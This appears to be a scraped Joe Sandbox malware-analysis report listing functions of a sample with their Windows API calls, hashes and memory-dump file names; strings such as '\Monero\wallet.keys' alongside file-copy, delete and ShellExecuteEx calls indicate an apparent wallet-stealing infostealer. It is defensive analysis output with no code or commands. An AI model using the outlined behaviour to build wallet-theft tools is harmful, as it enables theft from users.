Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 86b7823a8e01fb3a2523617aaf33b8b562aaf8bb5a2b778556002bcbaf50f640
Instruction ID: 62262e6261846ed91de7243936419fc4455f106c0c82b1a52f19523c0b4a49b7
Opcode Fuzzy Hash: 86b7823a8e01fb3a2523617aaf33b8b562aaf8bb5a2b778556002bcbaf50f640
Instruction Fuzzy Hash: 0B119EB1A40305EFD710CF84D945FBFBBB8EB08B11F104119F695A7284DB7A69049BA1

Function 00D493F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0167E0C8,00000000,00000000,?,00D39F71,00000000,0167E0C8,00000000), ref: 00D493FC
lstrcpyn.KERNEL32(01007580,0167E0C8,0167E0C8,?,00D39F71,00000000,0167E0C8), ref: 00D49420
lstrlen.KERNEL32(00000000,?,00D39F71,00000000,0167E0C8), ref: 00D49437
wsprintfA.USER32 ref: 00D49457

Strings

%s%s, xrefs: 00D49445

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 85e5cdd1f098f29eea39f803b8d16be85d7c435a31021d5ad808ac0567b3f228
Instruction ID: abb2861aa3fe080c917d242dc1c544c00d9fda7067c45f4b465ad04bc8b6d39b
Opcode Fuzzy Hash: 85e5cdd1f098f29eea39f803b8d16be85d7c435a31021d5ad808ac0567b3f228
Instruction Fuzzy Hash: 03011E75500108FFCB15DFA8C954EEE7B78EB48305F108248F98D9B285DA7AFA44DBA1

Function 00D312A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D312B4
RtlAllocateHeap.NTDLL(00000000), ref: 00D312BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00D312D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D312F5
RegCloseKey.ADVAPI32(?), ref: 00D312FF

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 3c317e9e8969a330a01ea9093845d9d516bde19a9a767dfcdfe5744d2fb6d038
Instruction ID: ce531c785f149f14b3cbe78343e75a0e2b51659bb2fef33142b413de8685bfc9
Opcode Fuzzy Hash: 3c317e9e8969a330a01ea9093845d9d516bde19a9a767dfcdfe5744d2fb6d038
Instruction Fuzzy Hash: F1013179A40209BFDB10DFD4DC49FAE777CEB48700F004194FA8597284D779AA008BA0

Function 00D4CB7E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00D4CC1C
___crtLCMapStringA.LIBCMT ref: 00D4CC3C
___crtLCMapStringA.LIBCMT ref: 00D4CC61

Strings

, xrefs: 00D4CBC6

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: c4917df2dad6106649a393802ddf591618fc224c840294bf1bea69ff3aaa0103
Instruction ID: ba9a2724e3f7f90df1d40473cd80d6dccd1da185791b925308797f8a7858ef49
Opcode Fuzzy Hash: c4917df2dad6106649a393802ddf591618fc224c840294bf1bea69ff3aaa0103
Instruction Fuzzy Hash: 1341E4B05107989FDB218B288CC5FFB7BE99B45704F1844E8E9CA96182E2719A449F70

Function 00D468D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00D46903

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00D469C6
ExitProcess.KERNEL32 ref: 00D469F5

Strings

<, xrefs: 00D46979

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 08d96febb33d8023615361c99ad6ec34ada8cf71a21a389e20f9be587c4ed7f9
Instruction ID: 26359791b3c054a8713c7270d319c9fc0fe9c05ca3f9ddcd9dff3421dead8154
Opcode Fuzzy Hash: 08d96febb33d8023615361c99ad6ec34ada8cf71a21a389e20f9be587c4ed7f9
Instruction Fuzzy Hash: BE3136B1901218ABEB15EBA4DC96FDEB778EF48300F404189F20966181DF796A48CF79

Function 00D48950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00D50E10,00000000,?), ref: 00D489BF
RtlAllocateHeap.NTDLL(00000000), ref: 00D489C6
wsprintfA.USER32 ref: 00D489E0

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Strings

%dx%d, xrefs: 00D489D7

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: f3ce450940570bb86d2856c9bd5c5970944c652172014a9eaa9846bf63f92c71
Instruction ID: c8bd62ea2de9d8efa498d83682c209307acba2d050741e312ae62d6687c94114
Opcode Fuzzy Hash: f3ce450940570bb86d2856c9bd5c5970944c652172014a9eaa9846bf63f92c71
Instruction Fuzzy Hash: 88213DB1A44204AFDB25DF98DD45FAEBBB8FB48711F104119FA55A7284C77AA900CBB0

Function 00D48EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00D496AE,00000000), ref: 00D48EEB
RtlAllocateHeap.NTDLL(00000000), ref: 00D48EF2
wsprintfW.USER32 ref: 00D48F08

Strings

%hs, xrefs: 00D48EFF

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 8b3bf3de4fe85a53a9744fb1a7f7400afcda7b6c9e8ecab3f49cf42a33a9020c
Instruction ID: 518542c2bc157c9672dc308b53a7186d9fa74939a92d87a27637f49f8bdbbc44
Opcode Fuzzy Hash: 8b3bf3de4fe85a53a9744fb1a7f7400afcda7b6c9e8ecab3f49cf42a33a9020c
Instruction Fuzzy Hash: 7DE0EC75A44309BFDB21DB94DD0AE6D7BB8EB05702F000194FD8997380DA7AAE109BA1

Function 00D3A990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D48CF0: GetSystemTime.KERNEL32(00D50E1B,0167A270,00D505B6,?,?,00D313F9,?,0000001A,00D50E1B,00000000,?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D48D16

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D3AA11
lstrlen.KERNEL32(00000000,00000000), ref: 00D3AB2F
lstrlen.KERNEL32(00000000), ref: 00D3ADEC

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

DeleteFileA.KERNEL32(00000000), ref: 00D3AE73

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 544f4f250235a2db49a6444e92ab9cdd8a7661379b79ca212598aae891b02cdf
Instruction ID: 22b38f68e90a9974c668bfbcb0e5a754c6e0c1662939a27e96f6fb2a52e193d6
Opcode Fuzzy Hash: 544f4f250235a2db49a6444e92ab9cdd8a7661379b79ca212598aae891b02cdf
Instruction Fuzzy Hash: 66E11A729501189BEB15FBA8DCA2EEE7339EF14300F408599F51672091EF356A4CCB72

Function 00D3D500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D48CF0: GetSystemTime.KERNEL32(00D50E1B,0167A270,00D505B6,?,?,00D313F9,?,0000001A,00D50E1B,00000000,?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D48D16

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D3D581
lstrlen.KERNEL32(00000000), ref: 00D3D798
lstrlen.KERNEL32(00000000), ref: 00D3D7AC
DeleteFileA.KERNEL32(00000000), ref: 00D3D82B

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3e24be0bc1db61addcc820aec1a4685ecd973f55e6208dac94536329c4a39c8e
Instruction ID: c55e6c6bfb4bdff0f7c70200d0100168acfecf6ede92721f4aff2e2ec8b7911c
Opcode Fuzzy Hash: 3e24be0bc1db61addcc820aec1a4685ecd973f55e6208dac94536329c4a39c8e
Instruction Fuzzy Hash: A3910D729501189BDB15FFA8DCA2EEE7339EF54340F508569F51672091EF346A08CB72

Function 00D3D880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D48CF0: GetSystemTime.KERNEL32(00D50E1B,0167A270,00D505B6,?,?,00D313F9,?,0000001A,00D50E1B,00000000,?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D48D16

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D3D901
lstrlen.KERNEL32(00000000), ref: 00D3DA9F
lstrlen.KERNEL32(00000000), ref: 00D3DAB3
DeleteFileA.KERNEL32(00000000), ref: 00D3DB32

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c44d8cf638d157fcfda2917dd2ab97a7502b983c6ebc788cc145874c8e2008ce
Instruction ID: 69b7ee1a96616536f01a8e9ed84c2a3f8085fc18c44a1776ab9b506cfc43836a
Opcode Fuzzy Hash: c44d8cf638d157fcfda2917dd2ab97a7502b983c6ebc788cc145874c8e2008ce
Instruction Fuzzy Hash: BD812D729501189BDF14FFA8DCA2EEE7339EF54340F404569F506A2092EF356A08CB72

